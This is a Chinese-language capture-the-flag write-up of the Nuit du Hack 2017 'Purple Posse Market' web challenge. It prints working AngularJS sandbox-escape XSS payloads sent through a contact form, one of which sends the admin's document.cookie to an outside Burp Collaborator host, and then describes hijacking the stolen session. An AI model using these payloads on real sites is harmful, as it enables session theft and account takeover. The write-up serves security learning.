1.png

上周末,我参加了法国黑客年度竞赛“Nuit du Hack 2017”的资格预赛,当时我成功搞定了比赛中所有的Web安全挑战,并且一人独得了团队在Web挑战中的所有分数,而我所使用的工具仅仅只有BurpSuite Pro。接下来,我会告诉大家我是如何做到的。

这个挑战名叫“Purple Posse Market”,比赛对挑战场景有如下描述:你任职于政府的IT取证部门,你目前正在调查一个出售违禁药品和枪支武器的违法网站,而你需要做的就是想方设法拿到网站管理员的IBAN,也就是他的国际银行账号。这个应用的Web服务器采用Express搭建,这也意味着它是一个NodeJS应用。服务器使用的是AngularJSv1.5.8,并且整个页面位于执行上下文(execution context)环境中(多亏了<html lang=”en” ng-app>这个root标签)。除此之外,我们可以通过路径“/contact”访问到一个联系表单,它允许我们向网站管理员发送信息,而网站显示的管理员状态为“当前在线”。

对于这些信息,我提出了以下几种假设:

1.这是一个Blind XSS漏洞,我也许可以通过这个联系表单来利用这个漏洞;

2.考虑到网站使用的是AngularJS v1.5.8,所以AngularJS在这里也会是一个非常重要的突破口;

3.基本的HTML注入和JavaScript注入(使用<img>或<script>标签)可能已经被过滤掉了;

注:在我查看了其他的一些writeup【传送门】之后,我发现我所假设的第二和第三点是错误的。

2.png

但是,我一开始使用了一个AngularJS v1.5.8的一个Payload,并且在没有使用尖括号的情况下成功触发了ping-back(你可以点击这里测试这个向量)。BurpSuite Pro提供了一个专门用于带外数据通信的工具,名叫Collaborator,而我们现在所遇到的情况正好可以用到这款工具。因此,我打开了Burp Collaborator客户端,然后通过点击“Copy to clipboard”按钮生成了一个Collaborator Payload。

3.png

由于我使用的是公共服务器,因此我拿到的Payload为”ophvu6oll9gfio3zzict8aphh8n3bs.burpcollaborator.net”,也就是主机名。所以,我们通过“/contact”联系表单来发送的初始向量如下:

{{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,(new(Image)).src="//ophvu6oll9gfio3zzict8aphh8n3bs.burpcollaborator.net" rel="external nofollow" ,a')}}

几分钟之后,我收到了Collaborator的响应信息,具体如下图所示。受感染主机来自于http://localhost:3001/admin/messages/137/,并且使用的是PhantomJS/2.1.1。

4.png

接下来,我又生成了一个新的Cpllaborator Payload(现在是”b3fi8t28zwu2wbhmd5qgmx34vv1sph…”),然后稍微修改了一下注入代码,因为我需要提取出网站管理员的token:

{{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,(new(Image)).src="//b3fi8t28zwu2wbhmd5qgmx34vv1sph.burpcollaborator.net/leak-" rel="external nofollow" +document.cookie,a')}

这一次,我便接收到了“connect.sid” cookie:

5.png

接下来,我在代理工具(Proxy)中设置了一个匹配替换规则,并通过窃取来的cookie值替换掉“connecrt.sid” cookie。然后通过浏览器访问“/admin/messages/”(这个是比赛的参考资料中提前给出的),这个页面中包含有管理员所有接收到的信息,并且还有一个指向他个人资料的链接,我点击了这个链接并成功找到了他的IBAN。

后话

感兴趣的同学可以访问比赛官方自己动手尝试一下,看看是否可以完成这些挑战。【比赛官网

* 参考来源:agarri, FB小编Alpha_h4ck编译